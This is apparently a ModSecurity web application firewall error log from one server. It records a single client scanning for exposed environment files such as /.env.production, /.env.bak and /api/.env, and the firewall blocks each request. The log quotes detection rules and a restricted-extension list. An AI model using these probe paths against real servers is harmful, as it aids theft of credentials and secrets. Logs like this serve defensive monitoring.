[Mon Jul 28 12:12:34.655447 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tAAAAAY&quot;]
[Mon Jul 28 12:12:34.655644 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tAAAAAY&quot;]
[Mon Jul 28 12:12:34.675763 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tQAAAAY&quot;]
[Mon Jul 28 12:12:34.676096 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tQAAAAY&quot;]
[Mon Jul 28 12:12:34.676312 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tQAAAAY&quot;]
[Mon Jul 28 12:12:34.696754 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tgAAAAY&quot;]
[Mon Jul 28 12:12:34.697051 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tgAAAAY&quot;]
[Mon Jul 28 12:12:34.697361 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tgAAAAY&quot;]
[Mon Jul 28 12:12:34.717388 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5twAAAAY&quot;]
[Mon Jul 28 12:12:34.717621 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5twAAAAY&quot;]
[Mon Jul 28 12:12:34.717797 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5twAAAAY&quot;]
[Mon Jul 28 12:12:34.737994 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uAAAAAY&quot;]
[Mon Jul 28 12:12:34.738324 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uAAAAAY&quot;]
[Mon Jul 28 12:12:34.738607 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uAAAAAY&quot;]
[Mon Jul 28 12:12:34.759747 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uQAAAAY&quot;]
[Mon Jul 28 12:12:34.759911 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uQAAAAY&quot;]
[Mon Jul 28 12:12:34.760134 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uQAAAAY&quot;]
[Mon Jul 28 12:12:34.760311 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uQAAAAY&quot;]
[Mon Jul 28 12:12:34.780285 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5ugAAAAY&quot;]
[Mon Jul 28 12:12:34.780466 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5ugAAAAY&quot;]
[Mon Jul 28 12:12:34.780683 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5ugAAAAY&quot;]
[Mon Jul 28 12:12:34.780884 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5ugAAAAY&quot;]
[Mon Jul 28 12:12:34.801068 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uwAAAAY&quot;]
[Mon Jul 28 12:12:34.801375 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uwAAAAY&quot;]
[Mon Jul 28 12:12:34.801574 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5uwAAAAY&quot;]
[Mon Jul 28 12:12:34.843211 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vQAAAAY&quot;]
[Mon Jul 28 12:12:34.843443 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vQAAAAY&quot;]
[Mon Jul 28 12:12:34.843613 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vQAAAAY&quot;]
[Mon Jul 28 12:12:34.863695 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vgAAAAY&quot;]
[Mon Jul 28 12:12:34.863914 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vgAAAAY&quot;]
[Mon Jul 28 12:12:34.864076 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vgAAAAY&quot;]
[Mon Jul 28 12:12:34.884100 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vwAAAAY&quot;]
